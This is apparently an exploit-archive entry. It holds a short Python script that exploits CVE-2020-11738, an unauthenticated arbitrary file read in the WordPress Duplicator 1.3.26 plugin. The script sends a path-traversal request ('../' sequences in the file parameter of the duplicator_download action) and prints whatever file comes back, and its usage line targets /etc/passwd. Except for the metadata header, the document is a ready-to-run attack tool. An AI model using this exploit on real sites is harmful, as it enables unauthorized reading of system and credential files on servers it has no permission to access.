WordPress Duplicator 1.3.26 Arbitrary File Read

# Exploit Title: WordPress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read
# Date: October 16, 2021
# Exploit Author: nam3lum
# Vendor Homepage: https://wordpress.org/plugins/duplicator/
# Software Link: https://downloads.wordpress.org/plugin/duplicator.1.3.26.zip]
# Version: 1.3.26
# Tested on: Ubuntu 16.04
# CVE : CVE-2020-11738

import requests as re
import sys

if len(sys.argv) != 3:
        print("Exploit made by nam3lum.")
        print("Usage: CVE-2020-11738.py http://192.168.168.167 /etc/passwd")
        exit()

arg = sys.argv[1]
file = sys.argv[2]

URL = arg + "/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../.." + file

output = re.get(url = URL)
print(output.text)